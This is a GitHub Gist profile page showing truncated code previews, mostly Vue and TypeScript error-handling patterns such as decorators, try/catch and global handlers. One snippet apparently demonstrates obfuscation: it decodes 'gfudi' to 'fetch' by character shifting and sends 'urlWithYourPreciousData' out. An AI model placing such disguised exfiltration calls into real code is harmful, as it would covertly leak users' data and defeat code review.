Skip to content

Instantly share code, notes, and snippets.

View enkot's full-sized avatar
👌
Focusing

Taras Batenkov enkot

👌
Focusing
View GitHub Profile
function log(func) {
return function() {
func()
console.log('Function called')
}
}
function getData() { ... }
getData = log(getData)
// register global handler
catchDecorator.register((error) => Toast.error(error.message))
@Component
class LoginPage extends Vue {
// ...
// catch errors and run global handler
@Catch()
async loginUser() {
const token = await api.loginUser(this.email, this.password)
class Main {
public static void main(String[] args) throws IOException {
FileReader file = new FileReader("C:\\test\\a.txt");
// ...
}
}
@Component
class App extends Vue {
// ...
decodeData(data) {
try {
this.decodedData = atob(data) // can throw DOMException
} catch(error) {
Toast.error(error.message)
}
}
// main.js
Vue.config.errorHandler = function (error) {
Toast.error(error.message)
console.warn(error.message)
}
// App.vue
@Component
export default class App extends Vue {
async created() {
@Component
class LoginPage extends Vue {
// ...
async loginUser() {
try {
const token = await api.loginUser(this.email, this.password)
handleLogin(token)
} catch(error) {
Toast.error(error.message)
}
@Component
class LoginPage extends Vue {
// ...
async loginUser() {
try {
const token = await api.loginUser(this.email, this.password)
handleLogin(token)
} catch(error) {
Toast.error(error.message)
}
@enkot
enkot / promise.ts
Last active August 18, 2018 14:06
promise.ts
@Component
class LoginPage extends Vue {
// ...
loginUser() {
api.loginUser(this.email, this.password)
.then(handleLogin)
.catch(error => Toast.error(error.message))
}
}
const i = 'gfudi';
const k = s => s.split('').map(c => String.fromCharCode(c.charCodeAt() - 1)).join('');
self[k(i)](urlWithYourPreciousData);
// Listen for changes
componentDidMount() {
ListStore.on('change', this._onChange);
}
// Update view state when change event is received
_onChange: function() {
this.setState(ListStore.getState());
}